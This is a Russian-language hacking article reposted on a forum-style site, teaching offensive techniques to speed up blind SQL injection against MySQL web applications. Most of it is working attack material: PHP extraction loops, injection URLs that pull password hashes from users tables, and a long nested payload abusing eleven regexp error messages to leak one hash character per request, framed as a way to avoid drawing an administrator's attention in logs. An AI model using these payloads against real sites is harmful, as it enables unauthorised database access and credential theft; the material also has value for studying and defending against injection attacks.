| RSS



Меню

Bookmark and Share


Статистика
Ваш IP: 3.143.228.40
Вы используете: v





Сейчас на сайте:

Тех поддержка ->

Облако тэгов
ОС видио Tor Обратная сторона антенна 4.6 PHP Эксплоит Windows Server 2008 qip Virtual chroot kernel proc sysctl tune FreeBSD bridge Boot Disk Bluetooth GEO game directx Emulator Python Shell DDoS червь Conficker вирус троян Лаборатория Касперского пиратство apple iPhone ИТ-отрасль Щеголев Microsoft экономический кризис Twitter социальная сеть анонимность Лицензия Open Source ASP.NET MVC уязвимость MySQL база данных файлообмен закон франция пират Skype мобильный Deutsche Telekom Хакер киберпреступник Trend Micro кибератака Германия робот утечка данных персональные данные ноутбук интернет Китай цензура ядро Linux Торвальдс Windows Vista Acer Linux патент браузер Firefox Internet Explorer Opera Net Applications Safari Intel Linux Foundation Moblin Oracle патч банкомат кардер HSM IBM X-Force Cofee сша кибервойна Эстония Dell ИТ-специалист хакерские атаки Pirate Bay контроль кибербезопасность язык программирования The Pirate Bay Пиратская партия утечка информации приговор Mozilla Chrome безопасность Госдума СМИ Windows 8 Баллмер взлом Пентагон ботнет Украина Facebook Cisco cloud Windows XP нетбук торрент музыка биометрический nokia ФБР IP-адрес CIPAV Comcast sms RSA java Google CAPTCHA Symantec спам конфиденциальная информация инсайдер Perimetrix антивирус тест Anti-Malware Windows 7 операционная система Windows провайдер авторское право RapidShare UNIX свиной грипп шантаж дети EFF BluWiki копирайт экстремизм Panda Security cloud computing McAfee Cybercrime Response Unit Bottle Domains HTTPS ICANN студент шпионское ПО Норвегия школьник New York Times XSS YouTube Warner Music кибершпионаж КНДР Ubuntu свободное ПО AMD ATI касперский Россия РФ сервер хостинг фальшивый антивирус Comodo CA Wi-Fi D-Link суд пароль блог фишинг Одноклассники медведев контрафакт мошенник штраф Sony GPS по Gumblar JAVASCRIPT хакеры вредоносное ПО Yahoo ФАС компьютер Софт MPAA кибероружие PandaLabs Red Hat Минкомсвязи сбой ASUSTeK Computer мошенничество Доктор Веб ВКонтакте Cyber-Arc исходный код PCI DSS МВД фильтр порнография BREIN свобода слова Казахстан GEMA Autodesk сисадмин Gmail кредитная карта кибермошенник LiveJournal шифрование криптография Deep Purple банк нанотехнологии Wikipedia zero-day ColdFusion выборы кража данных DNS BIND Android BASIC атака Black Hat Mac OS X Click Forensics Clampi домен фсб Прокуратура Уголовное дело icq Barrelfish киберпреступность Sophos AT&T ошибка Electa Gamma Knife OpenBSD DARPA военные Сайт Visual Studio 2010 .NET Framework 4 Chrome OS электронная почта турция конференция спамер FTC полиция российская ОС Koobface Великобритания БЕЛОРУССИЯ грузия BSA Bittorrent облачные вычисления Azure Европа Dr.Web Билл Гейтс спецслужбы Cryzip Живой Журнал Royal Bank of Scotland смартфон Canonical Pwn2Own F-Secure Symbian Hotmail фильм

Главная » Статьи » Общие Статьи

Слепая быстрота: новейшие методы Blind SQL Injection

Каждый раз, натыкаясь на слепую SQL-инъекцию, ты представляешь себе долгие минуты ожидания получения результатов из базы. Все знают, что процесс работы ускорить невозможно. Да неужели? Прочитав эту статью, ты заставишь свои инъекции отрабатывать по максимуму и станешь реальным SQL-гуру.

Основной проблемой при работе с Blind SQL Injection является огромное количество запросов, которое необходимо послать на сервер для получения символов из БД.

А соответственно - долгое время работы скрипта и большое количество записей в логах. Вручную получать данные из БД практически нереально, поэтому процесс работы с такими инъекциями нужно автоматизировать. Сейчас мы рассмотрим некоторые варианты подобной автоматизации.

Полный перебор

Это самый простой, самый тупой и самый медленный способ получения символов из базы данных. Для получения обычного MD5-хеша может потребоваться отправить до 512 запросов на сервер, а для получения логина - еще больше. Именно этот метод новички применяют в своих первых эксплойтах. Реализация указанного способа выглядит приблизительно так:

for($i=1;$i<=32;$i++)
for($j=1;$j<=255;$j++){
$res = send(
$url,
"sql.php?id=if(ascii(substring((select+passhash+from+users+where+id=0),$i,1))=$j,(select+1+union+select+2),'1')"
);
if(!preg_match('/Subquery returns/', $res) {
echo $j;
continue;
}
}

Принцип работы прост - для каждого символа сравниваем значение его ASCII-кода со всеми возможными значениями символов. Если выполняется некоторое условие, то символ найден, и его можно выводить на экран. Если условие не выполняется - ищем дальше.

Очевидно, что плюсов у этого метода нет. Совсем. За исключением того, что накалякать код такого скрипта очень просто. Но разве это то, что нужно настоящему хакеру? Оставим этот способ киддисам и будем двигаться дальше.

Бинарный (двоичный) поиск

Каждый уважающий себя программист знает о методе под названием бинарный, или двоичный, поиск. Этот метод используется для поиска позиции элемента в отсортированном массиве. И именно он применяется почти во всех адекватных скриптах, программах и эксплойтах, работающих со слепыми SQL-инъекциями.

  1. Берем диапазон всех возможных символов (для хеша MD5 - [0-9,a-f]) и сравниваем значение кода символа в БД с кодом символа, который мы передали в запросе.
  2. Если код символа в БД больше, чем код переданного символа, то на следующем шаге в качестве диапазона возможных символов берем диапазон от символа, с которым мы только что сравнивали значение в БД, до правой границы предыдущего диапазона и идем на шаг 1.
  3. Если код символа меньше, то берем диапазон от текущего символа до левой границы диапазона на предыдущем шаге и идем на шаг 1.
  4. Если символ не больше и не меньше, то мы как раз его и нашли.

А если рассматривать реализацию на языке программирования, то вот пример функции, реализующей поиск нужного символа этим методом:

function getChar($url, $field, $pos, $lb=0, $ub=255)
{
while(true) {
$M = floor($lb + ($ub-$lb)/2);
if(cond($url, $field, '<', $pos, $M)==1) {
$ub = $M - 1;
}
else if(cond($url, $field, '>', $pos, $M)==1) {
$lb = $M + 1;
}
else
return chr($M);

if($lb > $ub)
return -1;
}
}

Рассмотрим этот способ на примере получения из базы MD5-хеша юзера. При этом учтем следующие условия:

  1. Диапазон возможных символов: 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f.
  2. В БД находится символ: 'b'.

Запускаем алгоритм:

  1. Находим середину диапазона [0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f]; серединой является символ '8'.
  2. Сравниваем, – код символа 'b' больше или меньше, чем код символа '8'? (шлем запрос).
  3. Код больше, поэтому на следующую итерацию уже берем диапазон [8,9,a,b,c,d,e,f]; серединой является символ 'с'.
  4. Сравниваем, – код символа 'b' больше или меньше, чем код символа 'с'? (шлем запрос).
  5. Код меньше, поэтому на следующую итерацию берем диапазон [8,9,a,b,c]; серединой является символ 'a'.
  6. Сравниваем, – код символа 'b' больше, чем код символа 'a'? (шлем запрос).
  7. Код больше, поэтому на следующую итерацию берем диапазон [a,b,c]; серединой является символ 'b'.
  8. Сравниваем, – код символа 'b' больше или меньше, чем код символа 'b'? (шлем запрос).
  9. Код ни больше и не меньше, значит, символ в БД = 'b'

Таким образом, в зависимости от конкретной реализации алгоритма, мы отправляем до 5-6 запросов на определение символа. И это в худшем случае, так как символ может найтись и раньше. Итого получаем примерно 160-170 запросов на получение MD5-хеша. Уже лучше, но зачем останавливаться на достигнутом, если можно действовать еще быстрее?

Использование find_in_set() и подобных функций

Функция find_in_set(str,strlist) используется для поиска подстроки среди списка строк, разделенных символом ',' и возвращает номер той строки из списка, которая равна переданному аргументу. То есть:

mysql> SELECT FIND_IN_SET('b','a,b,c,d');
-> 2

Код символа из базы данных можно узнать при помощи запроса:

select find_in_set((substring((select password from users limit 1),1,1)),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f');

В результате мы получаем номер символа во множестве '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f'. К примеру, для символа 'b', этот запрос вернет 12.

А теперь подумаем, что же можно из этого выжать? Для того чтобы принять результаты запроса, мы должны как-то научиться принимать числа, являющиеся результатом. Но непосредственно при слепой SQL-инъекции мы этого сделать не можем. А что, если мы имеем дело с инъекцией, к примеру, в скрипте отображения новостей, и в зависимости от id, переданного скрипту, будем видеть разные странички? Тогда боевой запрос, нужный для получения символов из MD5, будет выглядеть вот так:

news.php?id=find_in_set(substring((select passhash from users limit 0,1),1,1),'0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f')

Тогда, в зависимости от номера символа в строке '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f', мы будем видеть новость с id, соответствующим символу пароля.

Для удобства использования на практике нужно:

  1. Выделить ключевые слова на страницах с нужными id.
  2. Отправить запросы с find_in_set для каждого символа из БД.
  3. Выяснить, страницу с каким id мы получили и вывести на экран код символа.

То есть, для получения MD5-хеша, нам потребуется выявить 16 страниц с уникальными id, по одной странице для каждого символа алфавита, а также отправить 32 запроса для определения значения каждого символа. В итоге, при использовании этого метода нам потребуется отправить всего 48 запросов на сервер, 16 из которых никакого подозрения читающего логи админа вызвать не могут.

Изначально этот метод предложили +toxa+ и madnet. Они же заметили, что помимо функции find_in_set для реализации подобной атаки можно использовать функции LOCATE(),INSTR(),ASCII(),ORD(). Причем, ASCII() и ORD() даже предпочтительнее за счет того, что они присутствуют не только в MySQL.

Способ работает быстро, но обладает рядом недостатков. К примеру, на сайте идентификаторы новостей могут быть распределены неравномерно, то есть скрипт приходится затачивать под каждый сайт индивидуально. Еще одной проблемой является то, что для большого количества символов в алфавите нужно большое количество уникальных страниц, которые не всегда присутствуют.

В общем, мотаем на ус и двигаемся дальше.

Использование find_in_set() + more1row

Если хорошенько поиграться с методом, предложенным выше, можно заметить, что все его минусы сводятся к тому, что далеко не на всех сайтах возможно получить достаточное количество различных страниц, зависящих от одного параметра. Решим эту проблему. Вспомним метод, предложенный Elekt'ом в ][ #111, который основан на использовании ошибки "Subquery returns more than 1 row".

Суть метода заключается в том, чтобы заставить скрипт выводить ошибку SQL в зависимости от результата SQL-запроса. На данный момент, чтобы спровоцировать БД на вывод ошибки, наиболее часто используется запрос:

SELECT 1 UNION SELECT 2

– который вернет ошибку:

#1242 - Subquery returns more than 1 row

Также ZaCo нашел альтернативный вариант запроса, который провоцирует БД на вывод ошибки в зависимости от условия:

"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")

В том случае, если версия MySql не равна 5, этот запрос вернет ошибку:

#1139 - Got error 'invalid repetition count(s)' from regexp

Немного порывшись в исходниках MySql и погуглив, можно найти еще 9 ошибок, которые возвращает неправильный regexp. Итого, от сервера мы можем получить 11 видов ошибок + 1 состояние, когда ошибки нет:

SELECT 1
No error

select if(1=1,(select 1 union select 2),2)
#1242 - Subquery returns more than 1 row

select 1 regexp if(1=1,"x{1,0}",2)
#1139 - Got error 'invalid repetition count(s)' from regexp

select 1 regexp if(1=1,"x{1,(",2)
#1139 - Got error 'braces not balanced' from regexp

select 1 regexp if(1=1,'[[:]]',2)
#1139 - Got error 'invalid character class' from regexp

select 1 regexp if(1=1,'[[',2)
#1139 - Got error 'brackets ([ ]) not balanced' from regexp

select 1 regexp if(1=1,'(({1}',2)
#1139 - Got error 'repetition-operator operand invalid' from regexp

select 1 regexp if(1=1,'',2)
#1139 - Got error 'empty (sub)expression' from regexp

select 1 regexp if(1=1,'(',2)
#1139 - Got error 'parentheses not balanced' from regexp

select 1 regexp if(1=1,'[2-1]',2)
#1139 - Got error 'invalid character range' from regexp

select 1 regexp if(1=1,'[[.ch.]]',2)
#1139 - Got error 'invalid collating element' from regexp

select 1 regexp if(1=1,'\\',2)
#1139 - Got error 'trailing backslash (\)' from regexp

Пока просто примем это во внимание. Теперь самое время вспомнить о функции find_in_set. Если искомый символ есть во множестве подстрок, она вернет номер подстроки, если нет - вернет 0. Попробуем привязать результат работы этой функции к различным кодам ошибок и передадим вот такой запрос:

select * from users where id=-1
AND "x" regexp
concat("x{1,25",
if(
find_in_set(
substring((select passwd from users where id=1),1,1),
'a,b,c,d,e,f,1,2,3,4,5,6'
)>0,
(select 1 union select 2),
"6}"
)
)

В результате, если первый символ пароля находится во множестве 'a,b,c,d,e,f,1,2,3,4,5,6', то запрос вернет:

#1242 - Subquery returns more than 1 row

А если не находится, то:

#1139 - Got error 'invalid repetition count(s)' from regexp

При каждом запросе по коду ошибки мы можем узнать, к какой группе принадлежит символ!

Напишем скрипт, использующий данный метод. Для составления оптимального запроса нужно сгруппировать символы алфавита так, чтобы количество обращений к серверу было минимальным. Рассмотрим задачу на примере MD5. Мы знаем, что у нас могут присутствовать только символы из диапазона [0-9,a-f]. Также мы знаем, что количество групп символов равно двенадцати, ведь всего наш запрос может вернуть одиннадцать видов ошибок и одно состояние, когда ошибки нет. Для случая с MD5 оптимальной расстановкой символов по состояниям, к примеру, будет:

[01]: '0','b','c','d','e','f'
[02]: '1'
[03]: '2'
[04]: '3'
[05]: '4'
[06]: '5'
[07]: '6'
[08]: '7'
[09]: '8'
[10]: '9'
[11]: 'a'

При каждом запросе к серверу мы узнаем номер группы, в которой находится символ, хранящийся в БД. В итоге, если символ находится в группах 02-11, – мы узнаем значение этого символа с помощью всего одного запроса. Если нам не повезло и символ находится в группе 01, то перед отправкой следующего запроса, рассортируем символы из этой группы по состояниям и сразу же узнаем значение интересующего нас символа:

[01]: '0'
[02]: 'b'
[03]: 'c'
[04]: 'd'
[05]: 'e'
[06]: 'f'

Итоговый алгоритм работы по этому методу выглядит несложно:

  1. Оптимально распределить символы алфавита по группам.
  2. Установить соответствия между номером группы и возвращаемым кодом ошибки.
  3. По возвращенному коду ошибки выяснить, в какой группе находится символ из БД.
  4. Если в этой группе только один символ, то выводим его на экран; если больше, чем один символ, то распределим символы из группы по состояниям и возвращаемся к шагу 2.

В соответствии с алгоритмом составляем запрос. И замечаем, что ошибки, которые мы собираемся использовать, обладают парой особенностей.

Первая заключается в том, что запрос

"x" regexp concat("x{1,25", if(@@version<>5, "5}", "6}")

вернет нужную нам ошибку, только если мы его будем передавать на сервер именно в таком виде. То есть, все вложенные условия нужно добавлять внутрь этого if, а также в начале всех остальных выражений regexp нужно добавлять символ "}". Иначе, независимо от содержания остальных подзапросов, мы будем получать лишь ошибку: "#1139 - Got error 'repetition-operator operand invalid' from regexp".

Вторая особенность заключается в том, что запрос

select 1 regexp if(1=1,'',2)

возвращающий ошибку "Got error 'empty (sub)expression' from regexp", работает, как хочется нам только при наличии пустого подзапроса в regexp или так: 'a|', когда после символа '|' отсутствует что бы то ни было. Поэтому, с учетом первой особенности, будем использовать именно этот вид подзапроса.

Теперь попробуем собрать всю известную нам информацию вместе, и для выуживания MD5-хеша получаем итоговый запрос:

sql.php?id=1+AND+"x"+
regexp+concat("x{1,25",+(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8,9,a'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8,9'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7,8'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6,7'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5,6'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4,5'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3,4'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2,3'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1,2'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f,1'),
(if(find_in_set(substring((select+pass+from+users+limit+0,1),1,1),'0,c,d,e,f'),
('}'),
(select+1+union+select+2))),
'}x{1,0}')),
'}x{1,(')),
'}[[:]]')),
'}[[')),
'}(({1}')),
'}|')),
'}(')),
'}[2-1]')),
'}[[.ch.]]')),
'}\\')))
+--+1

В результате, этот запрос не вернет ошибки, если символ из базы данных является одним из символов '0,c,d,e,f', а вернет ошибку "Subquery returns more than 1 row", если в базе данных лежит цифра 1. Также запрос вернет ошибку 'invalid repetition count(s)', если в базе лежит символ '2'. И так далее.

Итак, мы добились того, чего хотели - запрос при помощи 11 различных видов ошибок сообщает нам, какой именно символ лежит в базе данных. Мы получаем быстродействие, превышающее скорость работы всех остальных методов работы с Blind SQL Injection. Для выуживания MD5-хеша нам потребуется около 42 запросов, а это уже на порядок быстрее, чем в тех методах, которые используют сейчас. Мало того, если найти еще 4 запроса, при которых ошибка будет возникать во время выполнения, то на получение всего хеша нам потребуется уже 32 запроса. А это значит – 1 запрос на 1 символ. Раньше о подобном можно было только мечтать.

Понятно, что подобные SQL-обращения крайне тяжело составлять вручную, поэтому на диске с журналом ты найдешь скрипт, который умеет составлять запросы для алфавитов любой длины и при любом количестве известных ошибок.

Outro

На самом деле, существуют еще возможности ускорить процесс работы со слепыми SQL-инъекциями. Осталось только их найти. Главное, не зацикливаться на "дедовских" методах. Относиться ко всему, что придумали хакеры предыдущих поколений, надо, как к деталям мозаики, сложив которые воедино, можно выйти на совершенно новый уровень развития технологий взлома.

WARNING

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

WWW

dev.mysql.com/sources/doxygen/mysql-5.1/regerror_8c-source.html - исходники MySQL, отвечающие за отображение ошибок regexp.
dev.mysql.com/doc - документация по MySQL (рекомендую).
ru.wikipedia.org/wiki/Двоичный_поиск - базовые алгоритмы надо знать!

Категория: Общие Статьи | Добавил: aka_kludge (20.10.2009)
Просмотров: 2282 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Главная      
...
На службе : дней

22:44
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск


Copyright tHR - TeAM 2024 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика